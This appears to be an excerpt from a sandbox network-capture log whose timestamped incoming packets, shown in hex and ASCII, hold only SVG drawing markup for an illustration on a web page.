2023-07-27 19:54:37 UTC	6837	IN	Data Raw: 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 36 39 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 33 39 2c 35 36 2e 33 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 36 30 2e 31 37 2c 34 39 2e 38 32 61 31 2e 36 31 2c Data Ascii: .24,0,0,1,.47-2.69,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.39,56.3a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M360.17,49.82a1.61,
2023-07-27 19:54:37 UTC	6853	IN	Data Raw: 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 33 38 37 2e 38 33 2c 38 37 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 41 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2c 33 38 34 2c 38 39 61 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 38 22 2f 3e 3c 70 61 74 Data Ascii: 3,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M387.83,87.82a1.61,1.61,0,0,1-.73,2.09A2.34,2.34,0,0,1,384,89a2.25,2.25,0,0,1,.47-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.15,2.68"/><pat
2023-07-27 19:54:37 UTC	6869	IN	Data Raw: 35 2e 38 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 41 32 2c 32 2c 30 2c 30 2c 31 2c 34 31 35 2c 31 32 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 31 35 2e 32 37 2c 31 31 39 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 Data Ascii: 5.82a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0A2,2,0,0,1,415,127"/><path class="cls-9" d="M415.27,119.34a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.7,0,2,2
2023-07-27 19:54:37 UTC	6885	IN	Data Raw: 34 34 32 2e 39 33 2c 31 35 37 2e 33 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 37 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 34 32 2e 37 31 2c 31 35 30 2e 38 36 41 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2c 34 34 32 2c 31 35 33 61 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c Data Ascii: 442.93,157.34a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.47-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M442.71,150.86A1.61,1.61,0,0,1,442,153a2.35,2.35,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.1,2.1,0,0,1,
2023-07-27 19:54:38 UTC	6901	IN	Data Raw: 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 33 37 2c 31 38 38 2e 38 36 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 30 39 2c 32 2e 30 39 2c 30 2c 30 2c 31 2c 32 2e 37 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 37 30 2e 31 35 2c 31 38 32 2e 33 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e Data Ascii: class="cls-9" d="M470.37,188.86a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M470.15,182.38a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.
2023-07-27 19:54:38 UTC	6917	IN	Data Raw: 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 35 2e 30 38 2c 33 39 2e 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 34 2e 38 36 2c 33 32 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: 1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M485.08,39.1a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M484.86,32.62a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-07-27 19:54:38 UTC	6933	IN	Data Raw: 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 35 32 2c 37 30 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 33 2c 36 34 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e Data Ascii: ,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.52,70.62a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.3,64.14a1.61,1.61,0,0,1-.73,2.09,2.
2023-07-27 19:54:38 UTC	6949	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 30 2c 31 30 32 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 39 2e 37 34 2c 39 35 2e 36 36 61 31 2e 36 31 2c 31 2e 36 Data Ascii: ,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M540,102.14a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M539.74,95.66a1.61,1.6
2023-07-27 19:54:38 UTC	6965	IN	Data Raw: 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 36 22 20 64 3d 22 4d 39 30 30 2e 31 36 2c 31 37 34 6c 34 2e 33 34 2d 35 2e 36 33 2c 32 2e 34 31 2d 33 30 2e 32 36 2d 32 33 2e 36 39 2c 31 34 2e 34 35 63 2d 34 2e 39 34 2c 33 2d 39 2e 38 35 2c 36 2e 31 32 2d 31 34 2e 38 34 2c 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 6c 2d 2e 33 39 2c 34 4c 36 31 Data Ascii: 9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94Z"/><path class="cls-16" d="M900.16,174l4.34-5.63,2.41-30.26-23.69,14.45c-4.94,3-9.85,6.12-14.84,9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94l-.39,4L61
2023-07-27 19:54:38 UTC	6981	IN	Data Raw: 2e 34 35 2c 31 2e 39 34 2c 31 2e 39 34 2c 30 2c 30 2c 30 2c 2e 33 37 2d 2e 36 36 41 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 30 2c 35 32 30 2e 33 34 2c 32 32 39 2e 30 35 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 35 32 34 2c 32 32 36 2e 32 32 71 30 2c 2e 32 31 2c 30 2c 2e 34 38 63 30 2c 2e 31 38 2c 30 2c 2e 33 33 2c 30 2c 2e 34 35 68 30 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 39 2d 2e 34 32 2c 32 2e 30 36 2c 32 2e 30 36 2c 30 2c 30 2c 31 2c 2e 34 33 2d 2e 33 35 2c 32 2e 33 32 2c 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 35 33 2d 2e 32 34 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2c 2e 36 2d 2e 30 38 2c 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 31 2c 2e 31 39 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 36 Data Ascii: .45,1.94,1.94,0,0,0,.37-.66A2.5,2.5,0,0,0,520.34,229.05Z"/><path class="cls-2" d="M524,226.22q0,.21,0,.48c0,.18,0,.33,0,.45h0a1.66,1.66,0,0,1,.29-.42,2.06,2.06,0,0,1,.43-.35,2.32,2.32,0,0,1,.53-.24,2.35,2.35,0,0,1,.6-.08,2.15,2.15,0,0,1,1,.19,2,2,0,0,1,.6
2023-07-27 19:54:38 UTC	6997	IN	Data Raw: 79 32 3d 22 33 32 34 2e 32 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 36 22 20 64 3d 22 4d 36 36 39 2e 31 39 2c 33 31 33 2e 33 34 76 32 63 30 2c 31 2e 33 36 2c 33 2e 32 33 2c 32 2e 34 36 2c 37 2e 32 31 2c 32 2e 34 36 73 37 2e 32 31 2d 31 2e 31 2c 37 2e 32 31 2d 32 2e 34 36 76 2d 32 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 36 37 36 2e 34 22 20 63 79 3d 22 33 31 33 2e 33 34 22 20 72 78 3d 22 37 2e 32 31 22 20 72 79 3d 22 32 2e 34 35 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 70 6f 69 6e 74 73 3d 22 36 36 38 2e 31 35 20 33 33 31 2e 34 38 20 36 36 34 2e 37 33 20 33 32 39 2e 31 35 20 36 36 34 2e 39 33 20 33 31 37 2e 37 34 20 36 36 38 2e 34 20 33 31 Data Ascii: y2="324.26"/><path class="cls-76" d="M669.19,313.34v2c0,1.36,3.23,2.46,7.21,2.46s7.21-1.1,7.21-2.46v-2"/><ellipse class="cls-38" cx="676.4" cy="313.34" rx="7.21" ry="2.45"/><polygon class="cls-38" points="668.15 331.48 664.73 329.15 664.93 317.74 668.4 31
2023-07-27 19:54:38 UTC	7013	IN	Data Raw: 20 35 36 38 2e 37 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 32 2e 32 34 22 20 72 79 3d 22 32 2e 38 38 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 31 2e 36 22 20 72 79 3d 22 32 2e 30 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 Data Ascii: 568.75) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="2.24" ry="2.88" transform="translate(45.69 569.88) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="1.6" ry="2.05" transform="translate(45.69 569.88) rotate(
2023-07-27 19:54:38 UTC	7029	IN	Data Raw: 33 34 63 30 2d 2e 30 35 2d 2e 32 38 2d 2e 32 35 2d 2e 33 32 2d 2e 33 61 2e 33 2e 33 2c 30 2c 30 2c 31 2d 2e 30 39 2d 2e 32 33 2e 33 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 33 33 2d 2e 33 33 43 38 31 35 2e 32 36 2c 32 35 30 2e 31 34 2c 38 31 35 2e 33 34 2c 32 35 30 2e 31 38 2c 38 31 35 2e 36 2c 32 35 30 2e 33 39 5a 6d 31 2e 31 37 2e 34 36 61 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 32 33 2e 36 36 63 30 2c 2e 32 31 2d 2e 32 31 2e 32 38 2d 2e 34 32 2e 32 32 73 2d 2e 31 37 2d 2e 30 38 2d 2e 33 33 2d 2e 34 37 6c 2d 2e 31 36 2d 2e 33 37 61 2e 33 35 2e 33 35 2c 30 2c 30 2c 31 2c 30 2d 2e 31 34 63 30 2d 2e 32 34 2e 32 33 2d 2e 32 36 2e 33 36 2d 2e 32 35 53 38 31 36 2e 36 35 2c 32 35 30 2e 35 39 2c 38 31 36 2e 37 37 2c 32 35 30 2e 38 35 5a 6d 2e 34 35 2e 30 Data Ascii: 34c0-.05-.28-.25-.32-.3a.3.3,0,0,1-.09-.23.32.32,0,0,1,.33-.33C815.26,250.14,815.34,250.18,815.6,250.39Zm1.17.46a2.37,2.37,0,0,1,.23.66c0,.21-.21.28-.42.22s-.17-.08-.33-.47l-.16-.37a.35.35,0,0,1,0-.14c0-.24.23-.26.36-.25S816.65,250.59,816.77,250.85Zm.45.0
2023-07-27 19:54:38 UTC	7045	IN	Data Raw: 2c 32 38 34 2e 39 31 5a 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 33 22 20 78 3d 22 39 33 30 2e 31 36 22 20 79 3d 22 32 38 35 2e 32 39 22 20 77 69 64 74 68 3d 22 33 2e 37 35 22 20 68 65 69 67 68 74 3d 22 33 2e 31 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 38 36 34 2e 30 36 20 35 37 33 2e 36 37 29 20 72 6f 74 61 74 65 28 2d 31 38 30 29 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 34 22 20 64 3d 22 4d 39 33 33 2e 37 32 2c 32 39 35 2e 38 33 61 33 31 2e 37 31 2c 33 31 2e 37 31 2c 30 2c 30 2c 31 2d 36 2e 32 2e 35 31 2c 33 32 2e 34 33 2c 33 32 2e 34 33 2c 30 2c 30 2c 31 2d 36 2e 32 34 2d 2e 35 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 35 22 20 64 3d 22 4d 39 33 Data Ascii: ,284.91Z"/><rect class="cls-113" x="930.16" y="285.29" width="3.75" height="3.1" transform="translate(1864.06 573.67) rotate(-180)"/><path class="cls-114" d="M933.72,295.83a31.71,31.71,0,0,1-6.2.51,32.43,32.43,0,0,1-6.24-.51"/><path class="cls-115" d="M93
2023-07-27 19:54:38 UTC	7061	IN	Data Raw: 30 2c 30 2c 30 2c 2e 37 36 2e 36 2c 36 2e 35 38 2c 36 2e 35 38 2c 30 2c 30 2c 30 2c 32 2e 33 35 2c 31 2e 30 37 2c 37 2e 32 38 2c 37 2e 32 38 2c 30 2c 30 2c 30 2c 32 2e 33 37 2d 2e 30 39 6c 31 2e 38 37 2d 2e 32 37 61 35 2e 32 34 2c 35 2e 32 34 2c 30 2c 30 2c 30 2c 32 2e 35 38 2d 2e 38 35 41 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 30 2c 39 30 35 2e 35 37 2c 32 35 33 2e 35 32 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 33 34 22 20 64 3d 22 4d 38 39 36 2e 39 32 2c 32 34 36 2e 37 33 61 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 37 34 2d 2e 35 35 63 30 2d 2e 34 32 2e 32 37 2d 2e 37 39 2e 32 32 2d 31 2e 32 32 61 36 2e 34 38 2c 36 2e 34 38 2c 30 2c 30 2c 31 2c 32 2e 33 32 2d 2e 30 35 63 2d 2e 35 38 2e 39 34 2e 33 34 2c 32 2e 31 2c Data Ascii: 0,0,0,.76.6,6.58,6.58,0,0,0,2.35,1.07,7.28,7.28,0,0,0,2.37-.09l1.87-.27a5.24,5.24,0,0,0,2.58-.85A2.91,2.91,0,0,0,905.57,253.52Z"/><path class="cls-134" d="M896.92,246.73a2.36,2.36,0,0,1,.74-.55c0-.42.27-.79.22-1.22a6.48,6.48,0,0,1,2.32-.05c-.58.94.34,2.1,
2023-07-27 19:54:38 UTC	7077	IN	Data Raw: 36 37 2c 34 2e 37 36 2e 36 36 2c 37 2e 32 61 31 30 2e 36 34 2c 31 30 2e 36 34 2c 30 2c 30 2c 31 2d 32 2d 2e 31 38 2c 39 2c 39 2c 30 2c 30 2c 31 2d 31 2e 31 33 2d 2e 33 31 63 2d 2e 32 32 2d 2e 30 35 2d 31 2e 32 36 2d 2e 34 35 2d 31 2e 34 35 2d 2e 33 73 2e 31 38 2e 37 2e 33 32 2e 38 39 63 2e 32 36 2e 33 37 2e 33 34 2e 34 36 2e 32 33 2e 39 61 2e 38 33 2e 38 33 2c 30 2c 30 2c 31 2d 2e 35 31 2e 36 38 63 2d 2e 31 33 2e 30 36 2d 2e 38 36 2e 32 32 2d 31 2c 2e 31 33 2c 31 2e 32 34 2c 31 2e 31 39 2c 33 2e 32 36 2c 31 2c 34 2e 38 36 2c 31 2e 32 6c 32 2e 34 33 2e 32 34 63 2e 36 2e 30 36 2c 31 2e 31 37 2e 31 33 2c 31 2e 34 35 2d 2e 35 34 61 33 2e 38 37 2c 33 2e 38 37 2c 30 2c 30 2c 30 2c 2e 31 32 2d 31 2e 33 31 63 30 2d 31 2d 2e 31 36 2d 32 2d 2e 32 2d 33 43 38 32 37 Data Ascii: 67,4.76.66,7.2a10.64,10.64,0,0,1-2-.18,9,9,0,0,1-1.13-.31c-.22-.05-1.26-.45-1.45-.3s.18.7.32.89c.26.37.34.46.23.9a.83.83,0,0,1-.51.68c-.13.06-.86.22-1,.13,1.24,1.19,3.26,1,4.86,1.2l2.43.24c.6.06,1.17.13,1.45-.54a3.87,3.87,0,0,0,.12-1.31c0-1-.16-2-.2-3C827
2023-07-27 19:54:38 UTC	7093	IN	Data Raw: 2d 33 2d 31 33 2e 35 2d 33 6c 2d 33 30 2e 36 39 2d 33 2e 35 37 63 2d 31 2e 32 34 2d 2e 30 38 2d 34 2d 34 2d 34 2e 38 33 2d 34 2e 39 61 34 33 2e 30 37 2c 34 33 2e 30 37 2c 30 2c 30 2c 30 2d 34 2e 31 37 2d 33 2e 39 35 63 2d 32 2e 30 36 2d 31 2e 37 36 2d 33 2e 39 34 2d 33 2e 38 2d 35 2e 38 39 2d 35 2e 36 38 6c 2d 31 30 2d 39 2e 36 34 63 2d 36 2e 33 36 2d 31 2e 35 36 2d 31 32 2e 37 36 2d 33 2d 31 39 2e 31 32 2d 34 2e 35 36 2d 34 2e 33 35 2d 31 2e 30 38 2d 38 2e 37 34 2d 36 2e 31 33 2d 31 32 2e 38 36 2d 37 2e 38 31 2d 31 2e 32 33 2d 35 2e 31 34 2d 31 2e 35 38 2d 39 2d 33 2e 39 35 2d 31 37 2e 34 38 2d 2e 30 36 2d 2e 32 32 2c 31 2e 32 32 2d 39 2c 31 2e 36 38 2d 39 2c 31 32 2e 30 39 2e 31 34 2c 32 31 2c 2e 35 36 2c 33 33 2c 2e 36 35 2c 32 33 2c 2e 31 38 2c 34 35 Data Ascii: -3-13.5-3l-30.69-3.57c-1.24-.08-4-4-4.83-4.9a43.07,43.07,0,0,0-4.17-3.95c-2.06-1.76-3.94-3.8-5.89-5.68l-10-9.64c-6.36-1.56-12.76-3-19.12-4.56-4.35-1.08-8.74-6.13-12.86-7.81-1.23-5.14-1.58-9-3.95-17.48-.06-.22,1.22-9,1.68-9,12.09.14,21,.56,33,.65,23,.18,45
2023-07-27 19:54:38 UTC	7109	IN	Data Raw: 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 37 20 35 36 33 2e 36 34 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 34 30 2e 36 39 22 20 63 79 3d 22 32 31 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 35 22 20 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 36 2e 38 36 20 35 36 33 2e 39 39 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 33 39 2e 30 38 22 20 63 79 3d 22 32 31 34 2e 30 35 22 20 72 78 3d 22 30 2e 31 35 22 20 Data Ascii: ry="0.19" transform="translate(47 563.64) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="840.69" cy="214.09" rx="0.15" ry="0.19" transform="translate(46.86 563.99) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="839.08" cy="214.05" rx="0.15"
